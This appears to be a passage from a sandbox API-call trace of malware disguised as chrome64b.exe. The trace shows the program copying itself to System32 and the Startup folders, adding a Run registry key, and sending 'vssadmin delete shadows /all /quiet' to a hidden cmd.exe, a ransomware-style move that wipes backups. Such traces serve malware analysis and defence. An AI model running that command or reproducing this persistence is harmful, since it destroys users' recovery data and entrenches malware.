Flags=0x0, Ptr=0x7ac810, Size=0x80) returned 0x7d4818 [0152.677] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d4818, Size=0x100) returned 0x7d5f98 [0152.677] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0152.677] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d5f98 | out: hHeap=0x790000) returned 1 [0152.677] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\chrome64b.exe", lpDst=0x7f7768, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\chrome64b.exe") returned 0x22 [0152.677] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x807770 | out: hHeap=0x790000) returned 1 [0152.677] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7f7768 | out: hHeap=0x790000) returned 1 [0152.678] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x247a020 [0152.680] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d5400 [0152.680] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d5400, Size=0x20) returned 0x7cecf8 [0152.680] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d5358 [0152.680] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d5358, Size=0x20) returned 0x7ced48 [0152.680] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0152.680] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0152.680] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0152.680] lstrlenW (lpString="kernel32.dll") returned 12 [0152.680] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cecf8 | out: hHeap=0x790000) returned 1 [0152.680] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0152.680] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ced48 | out: hHeap=0x790000) returned 1 [0152.680] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\chrome64b.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\chrome64b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0152.680] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\chrome64b.exe" (normalized: "c:\\windows\\system32\\chrome64b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0152.682] ReadFile (in: hFile=0x240, lpBuffer=0x247a020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x247a020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0152.691] WriteFile (in: hFile=0x244, lpBuffer=0x247a020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x247a020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0152.693] ReadFile (in: hFile=0x240, lpBuffer=0x247a020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x247a020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0152.693] CloseHandle (hObject=0x244) returned 1 [0152.713] CloseHandle (hObject=0x240) returned 1 [0152.713] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d53a0 [0152.713] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d53a0, Size=0x20) returned 0x7cede8 [0152.713] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d5430 [0152.713] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d5430, Size=0x20) returned 0x7cedc0 [0152.713] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0152.713] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0152.713] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0152.713] lstrlenW (lpString="kernel32.dll") returned 12 [0152.714] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cedc0 | out: hHeap=0x790000) returned 1 [0152.714] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0152.714] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cede8 | out: hHeap=0x790000) returned 1 [0152.714] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x247a020 | out: hHeap=0x790000) returned 1 [0152.718] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d5400 [0152.718] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d5400, Size=0x20) returned 0x7cef78 [0152.718] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7cef78, Size=0x40) returned 0x7ac978 [0152.718] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ac978, Size=0x80) returned 0x7d4570 [0152.718] lstrlenW (lpString="C:\\WINDOWS\\System32\\chrome64b.exe") returned 33 [0152.718] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0152.718] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x5c) returned 0x7a7d00 [0152.718] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0152.718] RegSetValueExW (in: hKey=0x240, lpValueName="chrome64b.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\chrome64b.exe", cbData=0x42 | out: lpData="C:\\WINDOWS\\System32\\chrome64b.exe") returned 0x0 [0152.718] RegCloseKey (hKey=0x240) returned 0x0 [0152.718] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7a7d00 | out: hHeap=0x790000) returned 1 [0152.718] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0152.718] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d4570 | out: hHeap=0x790000) returned 1 [0152.718] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x7f7768 [0152.719] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x807770 [0152.719] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d5280 [0152.719] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d5280, Size=0x20) returned 0x7cecf8 [0152.719] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7cecf8, Size=0x40) returned 0x7ac300 [0152.719] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ac300, Size=0x80) returned 0x7d4bd0 [0152.719] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d4bd0, Size=0x100) returned 0x7d5f98 [0152.719] lstrlenW (lpString="") returned 0 [0152.719] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0152.719] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8c) returned 0x7d60a0 [0152.719] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0 [0152.719] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x807770, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x807770*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0152.719] RegCloseKey (hKey=0x240) returned 0x0 [0152.719] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d60a0 | out: hHeap=0x790000) returned 1 [0152.719] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0152.719] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8c) returned 0x7d60a0 [0152.719] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0152.720] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x807770, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0152.720] RegCloseKey (hKey=0x244) returned 0x0 [0152.720] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d60a0 | out: hHeap=0x790000) returned 1 [0152.720] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0152.720] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0152.720] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d5f98 | out: hHeap=0x790000) returned 1 [0152.720] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe", lpDst=0x7f7768, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe") returned 0x5c [0152.720] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x807770 | out: hHeap=0x790000) returned 1 [0152.721] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7f7768 | out: hHeap=0x790000) returned 1 [0152.721] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x2474020 [0152.723] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d52b0 [0152.723] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d52b0, Size=0x20) returned 0x7cef78 [0152.723] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d5418 [0152.723] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d5418, Size=0x20) returned 0x7cee60 [0152.724] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0152.724] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0152.724] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0152.724] lstrlenW (lpString="kernel32.dll") returned 12 [0152.724] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cef78 | out: hHeap=0x790000) returned 1 [0152.724] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0152.724] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cee60 | out: hHeap=0x790000) returned 1 [0152.724] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\chrome64b.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\chrome64b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0152.724] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0152.737] ReadFile (in: hFile=0x244, lpBuffer=0x2474020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2474020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0152.746] WriteFile (in: hFile=0x248, lpBuffer=0x2474020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2474020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0152.748] ReadFile (in: hFile=0x244, lpBuffer=0x2474020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2474020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0152.748] CloseHandle (hObject=0x248) returned 1 [0152.755] CloseHandle (hObject=0x244) returned 1 [0152.755] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d51c0 [0152.755] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d51c0, Size=0x20) returned 0x7cef78 [0152.755] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d53a0 [0152.755] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d53a0, Size=0x20) returned 0x7cecf8 [0152.755] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0152.755] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0152.755] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0152.755] lstrlenW (lpString="kernel32.dll") returned 12 [0152.755] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cecf8 | out: hHeap=0x790000) returned 1 [0152.755] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0152.755] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cef78 | out: hHeap=0x790000) returned 1 [0152.755] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x2474020 | out: hHeap=0x790000) returned 1 [0152.759] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x7f7768 [0152.760] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x807770 [0152.760] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d53b8 [0152.760] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d53b8, Size=0x20) returned 0x7cef78 [0152.760] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7cef78, Size=0x40) returned 0x7ac978 [0152.760] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ac978, Size=0x80) returned 0x7d4818 [0152.760] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d4818, Size=0x100) returned 0x7d5f98 [0152.760] lstrlenW (lpString="") returned 0 [0152.760] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0152.760] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8c) returned 0x7d60a0 [0152.760] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0152.760] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x807770, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0152.760] RegCloseKey (hKey=0x244) returned 0x0 [0152.760] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d60a0 | out: hHeap=0x790000) returned 1 [0152.760] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0152.760] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0152.760] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d5f98 | out: hHeap=0x790000) returned 1 [0152.760] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe", lpDst=0x7f7768, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe") returned 0x4b [0152.760] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x807770 | out: hHeap=0x790000) returned 1 [0152.793] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7f7768 | out: hHeap=0x790000) returned 1 [0152.794] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x2474020 [0152.796] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d51c0 [0152.796] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d51c0, Size=0x20) returned 0x7cee60 [0152.796] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d5208 [0152.796] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d5208, Size=0x20) returned 0x7ced48 [0152.797] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0152.797] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0152.797] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0152.797] lstrlenW (lpString="kernel32.dll") returned 12 [0152.797] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cee60 | out: hHeap=0x790000) returned 1 [0152.797] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0152.797] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ced48 | out: hHeap=0x790000) returned 1 [0152.797] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\chrome64b.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\chrome64b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0152.797] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0152.821] ReadFile (in: hFile=0x244, lpBuffer=0x2474020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2474020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0152.831] WriteFile (in: hFile=0x248, lpBuffer=0x2474020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2474020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0152.833] ReadFile (in: hFile=0x244, lpBuffer=0x2474020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2474020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0152.833] CloseHandle (hObject=0x248) returned 1 [0152.835] CloseHandle (hObject=0x244) returned 1 [0152.835] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d51f0 [0152.835] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d51f0, Size=0x20) returned 0x7ced98 [0152.835] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d5430 [0152.835] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d5430, Size=0x20) returned 0x7ceed8 [0152.835] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0152.835] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0152.835] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0152.835] lstrlenW (lpString="kernel32.dll") returned 12 [0152.835] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ceed8 | out: hHeap=0x790000) returned 1 [0152.835] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0152.835] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ced98 | out: hHeap=0x790000) returned 1 [0152.835] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x2474020 | out: hHeap=0x790000) returned 1 [0152.840] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d7758 | out: hHeap=0x790000) returned 1 [0152.840] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e7760 | out: hHeap=0x790000) returned 1 [0152.842] lstrlenW (lpString="%windir%\\System32") returned 17 [0152.842] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ac4b0 | out: hHeap=0x790000) returned 1 [0152.842] lstrlenW (lpString="%appdata%") returned 9 [0152.842] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ceeb0 | out: hHeap=0x790000) returned 1 [0152.842] lstrlenW (lpString="%sh(Startup)%") returned 13 [0152.842] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cefa0 | out: hHeap=0x790000) returned 1 [0152.842] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0152.842] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ac858 | out: hHeap=0x790000) returned 1 [0152.842] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d51f0 [0152.842] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d51f0, Size=0x20) returned 0x7cee60 [0152.842] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7cee60, Size=0x40) returned 0x7ac810 [0152.842] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ac810, Size=0x80) returned 0x7d4790 [0152.842] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d5238 [0152.842] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d5238, Size=0x20) returned 0x7ceed8 [0152.842] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1fffc) returned 0x7d7758 [0152.843] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x7f7760 [0152.843] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x807768 [0152.843] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d53d0 [0152.843] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d53d0, Size=0x20) returned 0x7ceeb0 [0152.843] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ceeb0, Size=0x40) returned 0x7ac6a8 [0152.843] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ac6a8, Size=0x80) returned 0x7d4928 [0152.843] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d4928, Size=0x100) returned 0x7d5f98 [0152.843] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0152.843] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d5f98 | out: hHeap=0x790000) returned 1 [0152.843] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x7f7760, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0152.843] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x807768 | out: hHeap=0x790000) returned 1 [0152.843] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7f7760 | out: hHeap=0x790000) returned 1 [0152.844] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0152.844] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0152.845] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0152.845] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0152.846] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xb64, dwThreadId=0xfdc)) returned 1 [0153.396] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0153.396] WriteFile (in: hFile=0x24c, lpBuffer=0x7d4790*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x7d4790*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0153.396] CloseHandle (hObject=0x25c) returned 1 [0153.396] CloseHandle (hObject=0x258) returned 1 [0153.396] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d7758 | out: hHeap=0x790000) returned 1 [0153.396] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0153.396] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d4790 | out: hHeap=0x790000) returned 1 [0153.396] lstrlenW (lpString="%comspec%") returned 9 [0153.396] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ceed8 | out: hHeap=0x790000) returned 1 [0153.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0153.396] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7d5328 [0153.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x7d5328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0153.397] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d33c8 [0153.397] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x7d33c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0153.397] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7d51c0 [0153.397] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d51c0, Size=0x20) returned 0x7ced98 [0153.397] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ced98, Size=0x40) returned 0x7ac930 [0153.397] lstrlenW 